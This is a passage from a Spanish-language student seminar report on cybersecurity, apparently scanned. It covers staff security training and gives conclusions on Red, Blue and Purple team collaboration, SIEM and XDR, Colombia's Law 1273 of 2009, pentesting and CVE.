7. Capacitacion y concientizacion del personal

80



Una de las debilidades identificadas en los escenarios del seminario fue la
falta de conciencia de seguridad por parte de los usuarios, lo que llevo a la
ejecucion de archivos maliciosos. Invertir en ciberseguridad también implica
destinar recursos para capacitar y concientizar al personal sobre practicas
seguras, lo que reduce el riesgo de incidentes causados por errores

humanos.
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CONCLUSIONES

La colaboracion entre diferentes equipos de ciberseguridad (como los equipos
Red, Blue y Purple) es fundamental para comprender completamente las
amenazas Yy desarrollar estrategias de defensa efectivas. La implementacion de
sistemas como SIEM y XDR permite a las organizaciones comprender mejor su
infraestructura, detectar amenazas con mayor precision y responder a incidentes

de manera mas efectiva.

La ciberdelincuencia es una realidad real que afecta a todos. El andlisis de casos
reales permite comprender las consecuencias de no cumplir con la ley y respetar
la integridad de los sistemas informaticos. Los atacantes pueden aprovechar las
fallas de seguridad (como la desactivacion del sistema de proteccion o la falta de
conocimiento del usuario) para causar dafios considerables. Por eso las leyes
colombianas como la Ley 1273 de 2009 en Colombia, como marco legal para
prevenir y sancionar delitos informaticos, evidencia la importancia de este tema en

la sociedad actual.

El pentesting, como proceso para identificar vulnerabilidades y fortalecer la
seguridad informética, juega un papel crucial en la proteccion de los sistemas. La
estandarizacion de metodologias y la referencia a sistemas como el CVE facilitan
la comunicacion y gestion de riesgos de seguridad, permitiendo a las
organizaciones tener una mejor comprension de las amenazas y tomar medidas

para mitigarlas.

En Ultima instancia, la ciberseguridad no es responsabilidad de un individuo, sino
un esfuerzo colectivo que involucra a varios individuos, empresas, gobiernos y el
mundo académico. Adoptar una cultura de seguridad, formar profesionales éticos,
implementar medidas técnicas adecuadas y la colaboracién entre diferentes
actores son elementos esenciales para proteger los sistemas informaticos y los

datos en la era digital.
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LINK VIDEO

https://youtu.be/d9CzIXeDqgrE
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